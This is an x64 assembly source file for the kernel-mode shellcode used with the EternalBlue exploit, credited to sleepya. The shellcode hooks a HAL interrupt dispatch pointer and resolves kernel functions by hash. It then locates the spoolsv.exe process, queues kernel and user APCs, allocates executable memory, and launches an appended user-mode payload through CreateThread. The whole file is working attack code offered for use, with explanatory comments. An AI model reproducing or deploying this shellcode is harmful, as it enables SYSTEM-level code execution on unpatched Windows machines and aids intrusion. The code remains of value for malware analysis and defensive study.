351 lines
8.3 KiB
NASM
351 lines
8.3 KiB
NASM
; kernel_shellcode.asm
|
|
; Function and offset resolution shellcode by sleepya (EternalBlue exploit)
|
|
;
|
|
; The payload is "installed" by being transferred into RWX memory and then overwriting the hal!HalpApicRequestInterrupt
|
|
; pointer in the hal!HalpApicRequestInterrupt dispatch table, effectively hooking it. Once executed, the shellcode will
|
|
; restore the original function pointer.
|
|
;
|
|
; This was updated to be compatible with metasm. The following 3 values need to be specified via #fixup:
|
|
; * PHALP_APIC_REQUEST_INTERRUPT - the original address of hal!HalpApicRequestInterrupt
|
|
; * PPHALP_APIC_REQUEST_INTERRUPT - the address of the pointer to hal!HalpApicRequestInterrupt in
|
|
; hal!HalpInterruptController
|
|
; * USER_SHELLCODE_SIZE - the length in bytes of the usermode shellcode
|
|
;
|
|
; The layout in memory will be as follows (only the first two sections need to be passed with the exploit):
|
|
; [ kernel mode shellcode ] [ user mode shellcode ] [ kernel mode shellcode data ]
|
|
|
|
; offsets to members within the shellcode's data section
|
|
#define OFFSET_NTBASE 0x0
|
|
#define OFFSET_PEB_ADDR 0x8
|
|
#define OFFSET_KAPC 0x10
|
|
#define OFFSET_KAPC2 0x68
|
|
#define OFFSET_SC_BASE_ADDR 0xD0
|
|
|
|
; some hardcoded EPROCESS and ETHREAD field offsets. I think they're consistent on Win10?
|
|
#define OFFSET_EPROCTHREADLIST 0x30
|
|
#define OFFSET_ETHREADTHREADLIST 0x2F8
|
|
#define OFFSET_ETHREADMISCFLAGS 0x74
|
|
#define OFFSET_MISCFLALTERTABLE 0x4
|
|
|
|
; peb offsets
|
|
#define OFFSET_PEB_LDR 0x18
|
|
#define OFFSET_PEB_INMEMORDER 0x20
|
|
|
|
; hashes to resolve function pointers
|
|
#define HASH_PSGETCURRPROC 0xDBF47C78
|
|
#define HASH_PSGETPROCIMAGENAME 0x77645F3F
|
|
#define HASH_PSGETPROCID 0x170114E1
|
|
#define HASH_PSGETPROCPEB 0xB818B848
|
|
#define HASH_KEINITIALIZEAPC 0x6D195CC4
|
|
#define HASH_KEINSERTQUEUEAPC 0xAFCC4634
|
|
#define HASH_ZWALLOCVIRTMEM 0x576E99EA
|
|
#define HASH_CREATETHREAD 0x835E515E
|
|
#define HASH_SPOOLSV 0x3EE083D8
|
|
|
|
; size of usermode APC shellcode
|
|
|
|
_main:
|
|
|
|
_prologue:
|
|
push r8
|
|
push r9
|
|
push r13
|
|
push r15
|
|
push r14
|
|
push rcx
|
|
push rdx
|
|
push rbx
|
|
push rsi
|
|
push rdi
|
|
lea r14, [rip-$_+_data_addr]
|
|
add r14, USER_SHELLCODE_SIZE
|
|
|
|
_patch_back_hal_table:
|
|
mov rax, PPHALP_APIC_REQUEST_INTERRUPT
|
|
mov rbx, PHALP_APIC_REQUEST_INTERRUPT
|
|
mov [rax], rbx
|
|
sti
|
|
|
|
xor rcx, rcx
|
|
db 0x44, 0x0f, 0x22, 0xc1 ; 'mov cr8, rcx' (metasm incorrectly encodes this instruction)
|
|
mov ecx, 0xc0000082
|
|
rdmsr
|
|
and eax, 0xFFFFF000
|
|
shl rdx, 0x20
|
|
add rax, rdx
|
|
|
|
_find_nt_base:
|
|
sub rax, 0x1000
|
|
cmp word [rax], 0x5a4d
|
|
jne _find_nt_base
|
|
|
|
mov r15, rax
|
|
mov [r14 + OFFSET_NTBASE], r15
|
|
|
|
_get_current_eprocess:
|
|
mov edi, HASH_PSGETCURRPROC
|
|
call _call_nt_func
|
|
mov r13, rax
|
|
|
|
_get_image_name_eprocess:
|
|
mov edi, HASH_PSGETPROCIMAGENAME
|
|
call _get_offset_from_function
|
|
mov rcx, rax
|
|
|
|
_get_proc_links_eprocess:
|
|
mov edi, HASH_PSGETPROCID
|
|
call _get_offset_from_function
|
|
mov rdx, rax
|
|
add rdx, 0x8
|
|
|
|
_find_target_process_loop:
|
|
lea rsi, [r13+rcx]
|
|
call calc_hash
|
|
cmp eax, HASH_SPOOLSV
|
|
je _found_target_process
|
|
mov r13, [r13+rdx]
|
|
sub r13, rdx
|
|
jmp _find_target_process_loop
|
|
|
|
_found_target_process:
|
|
mov edi, HASH_PSGETPROCPEB
|
|
mov rcx, r13
|
|
call _call_nt_func
|
|
mov [r14 + OFFSET_PEB_ADDR], rax
|
|
|
|
mov r8, [r13 + OFFSET_EPROCTHREADLIST]
|
|
mov r9, [r13 + OFFSET_EPROCTHREADLIST + 0x8]
|
|
sub r8, OFFSET_ETHREADTHREADLIST
|
|
xor rsi, rsi
|
|
|
|
_find_good_thread:
|
|
sub r9, OFFSET_ETHREADTHREADLIST
|
|
mov edi, dword [r9 + OFFSET_ETHREADMISCFLAGS]
|
|
bt edi, OFFSET_MISCFLALTERTABLE
|
|
jnc _find_good_thread_loop
|
|
mov rsi, r9
|
|
jmp _init_apc
|
|
|
|
_find_good_thread_loop:
|
|
cmp r8, r9
|
|
mov r9, [r9 + OFFSET_ETHREADTHREADLIST + 8]
|
|
jne _find_good_thread
|
|
|
|
_init_apc:
|
|
test rsi, rsi
|
|
jz _restore_regs_and_jmp_back
|
|
lea rcx, [r14 + OFFSET_KAPC]
|
|
mov rdx, rsi
|
|
xor r8, r8
|
|
lea r9, [rip-$_+_kernel_apc_routine]
|
|
push rdx
|
|
push r8
|
|
push r8
|
|
push r8
|
|
mov edi, HASH_KEINITIALIZEAPC
|
|
sub rsp, 0x20
|
|
call _call_nt_func
|
|
add rsp, 0x40
|
|
|
|
_insert_apc:
|
|
lea rcx, [r14 + OFFSET_KAPC]
|
|
mov edi, HASH_KEINSERTQUEUEAPC
|
|
sub rsp, 0x20
|
|
mov rax, 0x5
|
|
db 0x44, 0x0f, 0x22, 0xc0 ; 'mov cr8, rax' (metasm incorrectly encodes this instruction)
|
|
call _call_nt_func
|
|
add rsp, 0x20
|
|
|
|
_restore_regs_and_jmp_back:
|
|
cli
|
|
mov rax, rbx
|
|
pop rdi
|
|
pop rsi
|
|
pop rbx
|
|
pop rdx
|
|
pop rcx
|
|
pop r14
|
|
pop r15
|
|
pop r13
|
|
pop r9
|
|
pop r8
|
|
jmp rax
|
|
|
|
_call_nt_func:
|
|
call _get_proc_addr
|
|
jmp rax
|
|
|
|
_get_proc_addr:
|
|
; Save registers
|
|
push rbx
|
|
push rcx
|
|
push rsi ; for using calc_hash
|
|
|
|
; use rax to find EAT
|
|
mov eax, dword [r15+60] ; Get PE header e_lfanew
|
|
add rax, r15
|
|
mov eax, dword [rax+136] ; Get export tables RVA
|
|
|
|
add rax, r15
|
|
push rax ; save EAT
|
|
|
|
mov ecx, dword [rax+24] ; NumberOfFunctions
|
|
mov ebx, dword [rax+32] ; FunctionNames
|
|
add rbx, r15
|
|
|
|
_get_proc_addr_get_next_func:
|
|
; When we reach the start of the EAT (we search backwards), we hang or crash
|
|
dec ecx ; decrement NumberOfFunctions
|
|
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
|
|
add rsi, r15 ; Add the modules base address
|
|
|
|
call calc_hash
|
|
|
|
cmp eax, edi ; Compare the hashes
|
|
jnz _get_proc_addr_get_next_func ; try the next function
|
|
|
|
_get_proc_addr_finish:
|
|
pop rax ; restore EAT
|
|
mov ebx, dword [rax+36]
|
|
add rbx, r15 ; ordinate table virtual address
|
|
mov cx, word [rbx+rcx*2] ; desired functions ordinal
|
|
mov ebx, dword [rax+28] ; Get the function addresses table rva
|
|
add rbx, r15 ; Add the modules base address
|
|
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
|
|
add rax, r15 ; Add the modules base address to get the functions actual VA
|
|
|
|
pop rsi
|
|
pop rcx
|
|
pop rbx
|
|
ret
|
|
|
|
calc_hash:
|
|
push rdx
|
|
xor eax, eax
|
|
cdq
|
|
_calc_hash_loop:
|
|
lodsb ; Read in the next byte of the ASCII string
|
|
ror edx, 13 ; Rotate right our hash value
|
|
add edx, eax ; Add the next byte of the string
|
|
test eax, eax ; Stop when found NULL
|
|
jne _calc_hash_loop
|
|
xchg edx, eax
|
|
pop rdx
|
|
ret
|
|
|
|
_get_offset_from_function:
|
|
call _get_proc_addr
|
|
cmp byte [rax+2], 0x80
|
|
ja _get_offset_dword
|
|
movzx eax, byte [rax+3]
|
|
ret
|
|
_get_offset_dword:
|
|
mov eax, dword [rax+3]
|
|
ret
|
|
|
|
_kernel_apc_routine:
|
|
push r15
|
|
push r14
|
|
push rdi
|
|
push rsi
|
|
|
|
_find_createthread_addr:
|
|
lea rax, [rip-$_+_data_addr]
|
|
mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_PEB_ADDR]
|
|
mov rcx, [rax + OFFSET_PEB_LDR]
|
|
mov rcx, [rcx + OFFSET_PEB_INMEMORDER]
|
|
|
|
_find_kernel32_dll_loop:
|
|
mov rcx, [rcx]
|
|
cmp word [rcx+0x48], 0x18
|
|
jne _find_kernel32_dll_loop
|
|
|
|
mov rax, [rcx+0x50]
|
|
cmp dword [rax+0xc], 0x00320033
|
|
jnz _find_kernel32_dll_loop
|
|
|
|
mov r15, [rcx + 0x20]
|
|
mov edi, HASH_CREATETHREAD
|
|
call _get_proc_addr
|
|
mov r14, rax
|
|
|
|
_alloc_mem:
|
|
lea r15, [rip-$_+_data_addr]
|
|
mov r15, [r15 + USER_SHELLCODE_SIZE + OFFSET_NTBASE]
|
|
xor eax, eax
|
|
lea rdx, [rip-$_+_data_addr]
|
|
add rdx, USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR
|
|
mov ecx, eax
|
|
not rcx
|
|
mov r8, rax
|
|
mov al, 0x40
|
|
push rax
|
|
shl eax, 6
|
|
push rax
|
|
mov [r9], rax
|
|
sub rsp, 0x20
|
|
mov edi, HASH_ZWALLOCVIRTMEM
|
|
call _call_nt_func
|
|
add rsp, 0x30
|
|
|
|
_copy_user_bootstrap_and_shellcode:
|
|
lea rdi, [rip-$_+_data_addr]
|
|
mov rdi, [rdi + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
|
|
lea rsi, [rip-$_+_user_shellcode_bootstrap]
|
|
mov ecx, 0x1d + USER_SHELLCODE_SIZE
|
|
rep movsb
|
|
|
|
_init_and_insert_apc:
|
|
lea rcx, [rip-$_+_data_addr]
|
|
add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2
|
|
mov rdx, qword [gs:0x188]
|
|
xor r8, r8
|
|
lea r9, [rip-$_+_kernel_apc_routine2]
|
|
push r8
|
|
push 0x1
|
|
lea rax, [rip-$_+_data_addr]
|
|
mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR]
|
|
push rax
|
|
push r8
|
|
sub rsp, 0x20
|
|
mov edi, HASH_KEINITIALIZEAPC
|
|
call _call_nt_func
|
|
add rsp, 0x40
|
|
|
|
lea rcx, [rip-$_+_data_addr]
|
|
add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2
|
|
mov rdx, r14
|
|
xor r9, r9
|
|
mov edi, HASH_KEINSERTQUEUEAPC
|
|
sub rsp, 0x20
|
|
call _call_nt_func
|
|
add rsp, 0x20
|
|
|
|
_kernel_apc_done:
|
|
pop rsi
|
|
pop rdi
|
|
pop r14
|
|
pop r15
|
|
ret
|
|
|
|
_kernel_apc_routine2:
|
|
nop
|
|
ret
|
|
|
|
_user_shellcode_bootstrap:
|
|
xchg rdx, rax
|
|
xor ecx, ecx
|
|
push rcx
|
|
push rcx
|
|
mov r9, rcx
|
|
lea r8, [rip-$_+_user_shellcode] ; user payload has been appended to bottom of this shellcode
|
|
mov edx, ecx
|
|
sub rsp, 0x20
|
|
call rax
|
|
add rsp, 0x30
|
|
ret
|
|
|
|
_data_addr:
|
|
|
|
_user_shellcode:
|